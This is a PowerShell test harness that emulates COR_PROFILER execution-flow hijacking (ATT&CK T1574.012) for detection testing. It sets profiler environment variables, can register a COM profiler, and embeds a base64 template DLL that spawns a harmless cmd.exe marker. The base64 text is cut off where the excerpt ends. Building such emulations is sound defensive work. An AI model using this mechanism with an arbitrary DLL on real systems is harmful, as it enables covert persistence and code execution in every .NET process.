Windows/TestHarnesses/T1574.012_COR_PROFILER/LoadCORProfiler.ps1

#region local helper functions. Do not export.
function Get-EnvVar {
    param (
        [string]$EnvVar,
        [string]$Scope
    )      
    return [Environment]::GetEnvironmentVariable($EnvVar, [EnvironmentVariableTarget]::$Scope)
}
function Set-EnvVar {
    param (
        [string]$EnvVar,
        [string]$Scope,
        [string]$EnvVarValue
    )
    Write-Verbose ([string]::Format("Setting {0} {1} scope environment variable to {2}", $EnvVar, $ProfilerScope, $EnvVarValue))
    [Environment]::SetEnvironmentVariable($EnvVar, $EnvVarValue, [EnvironmentVariableTarget]::$Scope)
}
function Remove-EnvVar {
    param (
        [string]$EnvVar,
        [string]$Scope
    )
    Write-Verbose ([string]::Format("Removing {0} {1} scope environment variable", $EnvVar, $ProfilerScope))
    [Environment]::SetEnvironmentVariable($EnvVar, $null, [EnvironmentVariableTarget]::$Scope)
}

function Resolve-ProfilerPath {
    param (
    [string]$InputPath
    )
    # Resolve the full path of the profiler DLL. Relative and absolute paths should be accepted.
    $ProfilerPathParentDirectory = Split-Path -Path $InputPath -Parent
    $ProfilerPathFileName = Split-Path -Path $InputPath -Leaf

    if (('' -eq $ProfilerPathParentDirectory) -or ('.' -eq $ProfilerPathParentDirectory)) {
        # Use the current working directory is an explicit directory is not supplied.
        $ProfilerPathParentDirectory = $PWD.Path
    }

    $ResolvedProfilerPath = Join-Path -Path $ProfilerPathParentDirectory -ChildPath $ProfilerPathFileName
    Write-Verbose ([string]::Format("Resolved profiler path: {0}", $ResolvedProfilerPath))

    return $ResolvedProfilerPath
}
#endregion

function Invoke-ATHCORProfiler {
<#
.SYNOPSIS
 
Test runner for "COR_PROFILER" execution flow hijacking.
 
Technique ID: T1574.012 (Hijack Execution Flow)
 
.DESCRIPTION
 
Invoke-ATHCORProfiler sets environment variables required to load a profiling DLL capable of executing arbitrary unmanged code in the context of a process that loads the .NET Common Language Runtime (CLR).
 
.PARAMETER ProfilerPath
 
Specifies the file name or full file path to a profiler DLL to be used. If this parameter is not supplied a template profiler DLL is written to disk which executes "cmd.exe /c echo AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA & timeout 5" when the CLR attaches the profiler.
 
.PARAMETER RegistrationFreeProfilerScope
 
Specifies a "Registration Free" profiler will be configured by setting the COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH environment variables. This type of profiler is supported with versions of the .NET Framework 4+.
 
Registration free profilers support Machine, User, and Process scoped environment variables. Machine scoped profilers will attach anytime a process on the machine loads the .NET CLR. Similarly, User scoped profilers will attach only in the current user context and Process scoped profilers will only attach to the current PowerShell process and any child processes.
 
.PARAMETER RegisteredProfilerScope
 
Specifies the profiler should be registered in addition to setting the COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH environment variables. This allows backwards compatibility with older versions of the .NET Framework. Only Machine and User scoped profilers can be registered.
 
.PARAMETER ProfilerCLSID
 
Optionally, specify a CLSID to be used for the COR_PROFILER environment variable and the COM CLSID for registered profilers.
 
.PARAMETER TestGuid
 
Optionally, specify a test GUID value to use to override the generated test GUID behavior.
 
.PARAMETER Force
 
Specifies any existing environment variables should be overwritten.
 
.OUTPUTS
 
PSObject
 
Outputs an object consisting of relevant execution details. The following object properties may be populated:
 
* TechniqueID - Specifies the relevant MITRE ATT&CK Technique ID.
* TestSuccess - Will be set to True if it was determined that the technique executed successfully. Invoke-ATHCORProfiler can only confidently determine success when using the template profiler DLL (i.e. when -ProfilerPath is not supplied). In this scenario, a template profiler DLL spawns a specific instance of cmd.exe to validate successful execution.
* TestGuid - Specifies the test GUID that was used for the test.
* ProfilerScope - Specifies the environment variabe scope and influence of the profiler.
* ProfilerType - The type of profiler used. Either RegistrationFree or Registered.
* ProfilerCLSID - Specifies the COR_PROFILER CLSID for both registration free and registered profilers. For registered profilers this is also the COM CLSID that was used.
* ProfilerDllPath - Specifies the full path on disk of the profiler DLL.
* ProfilerDllFileSHA256Hash - The SHA256 checksum of the profiler DLL.
* TargetProcessId - Specifies the process ID of the target PowerShell process.
* TargetProcessPath - Specifies the full path to the target PowerShell process.
* TargetProcessCommandLine - Specifies the target PowerShell process command line.
* ChildProcessId - Specifies the cmd.exe child process ID.
* ChildProcessCommandLine - Specifies the cmd.exe child process command line.
* RegisteredProfilerRegistryCOMClassValueName - If the profiler is registered, the path to the profiler value name.
* RegisteredProfilerRegistryCOMClassNameValue - If the profiler is registered, the path to the profiler name value.
* CorEnableProfilingEnvVarRegistrySubKey - The registry key the COR_ENABLE_PROFILING environment variable value name is stored.
* CorEnableProfilingEnvVarRegistryValueName - The registry value name, i.e. COR_ENABLE_PROFILING.
* CorEnableProfilingEnvVarRegistryNameValue - The COR_ENABLE_PROFILING name value.
* CorProfilerEnvVarRegistrySubKey -The registry key the COR_PROFILER environment variable value name is stored.
* CorProfilerEnvVarRegistryValueName - The registry value name, i.e. COR_PROFILER.
* CorProfilerEnvVarRegistryNameValue - The COR_PROFILER name value.
* CorProfilerPathEnvVarRegistrySubKey - The registry key the COR_PROFILER_PATH environment variable value name is stored.
* CorProfilerPathEnvVarRegistryValueName - The registry value name, i.e. COR_PROFILER_PATH.
* CorProfilerPathEnvVarRegistryNameValue - The COR_PROFILER_PATH name value.
 
.EXAMPLE
 
Invoke-ATHCORProfiler
 
Write a template profiler DLL to disk and configure a User scoped registration free profiler.
 
.EXAMPLE
 
Invoke-ATHCORProfiler -RegisteredProfilerScope Machine
 
Write a template profiler DLL to disk and configure a registered machine scoped profiler.
 
.EXAMPLE
 
Invoke-ATHCORProfiler -ProfilerPath C:\Path\To\Profiler.dll -RegistrationFreeProfilerScope Process
 
Specify a user supplied profiler and configure a registration free Process scoped profiler.
#>


    [CmdletBinding(DefaultParameterSetName = 'RegistrationFreeProvider')]
    param (
        [Parameter(ParameterSetName = 'RegistrationFreeProvider')]
        [Parameter(ParameterSetName = 'RegisteredProvider')]
        [Guid]
        $ProfilerCLSID = (New-Guid),

        [Parameter(Mandatory=$true, ParameterSetName = 'RegisteredProvider')]
        [String]
        [ValidateSet('Machine', 'User')]
        $RegisteredProfilerScope = 'User',

        [Parameter(ParameterSetName = 'RegistrationFreeProvider')]
        [String]
        [ValidateSet('Machine', 'User', 'Process')]
        $RegistrationFreeProfilerScope = 'User',
        
        [Guid]
        $TestGuid = (New-Guid),

        [String]
        $ProfilerPath = $null,

        [Switch]
        $Force 
    )

    switch ($PSCmdlet.ParameterSetName) {
        'RegistrationFreeProvider'      { $ProfilerType = 'RegistrationFree' }
        'RegisteredProvider'            { $ProfilerType = 'Registered' }
    }
    if ($ProfilerType -eq 'Registered') {
        $ProfilerScope = $RegisteredProfilerScope
    } else {
        $ProfilerScope = $RegistrationFreeProfilerScope
    }

    # If the Profiler Scope is set to Machine ensure we have the requisit permissions.
    if ((($RegisteredProfilerScope -eq "Machine") -or ($RegistrationFreeProfilerScope -eq "Machine")) -and -not ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) {
        Write-Error "In order to set Machine scoped environment variables this module needs to execute with elevated permissions. e.g. A member of the Administrators group."
        return
    }

    # Template dll that spawns powershell.exe when -ProfilerPath is not supplied.
    # SHA256 Hash: 634cf98c2df65a46c649be4f41e74a4b28f28516a1f42fc819c44a5ba8d29b46
    # VirusTotal Analysis: https://www.virustotal.com/gui/file/634cf98c2df65a46c649be4f41e74a4b28f28516a1f42fc819c44a5ba8d29b46/detection
    <# C code used to generate the template dll below:
        #include "pch.h"
 
        BOOL APIENTRY DllMain(HMODULE hModule,
            DWORD ul_reason_for_call,
            LPVOID lpReserved
        )
        {
            switch (ul_reason_for_call)
            {
            case DLL_PROCESS_ATTACH:
                WinExec("cmd.exe /c echo AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA & timeout 5", SW_SHOWNORMAL);
            case DLL_THREAD_ATTACH:
            case DLL_THREAD_DETACH:
            case DLL_PROCESS_DETACH:
                break;
            }
            return TRUE;
        }
    #>


    $TemplateSourceBytes = [Convert]::FromBase64String('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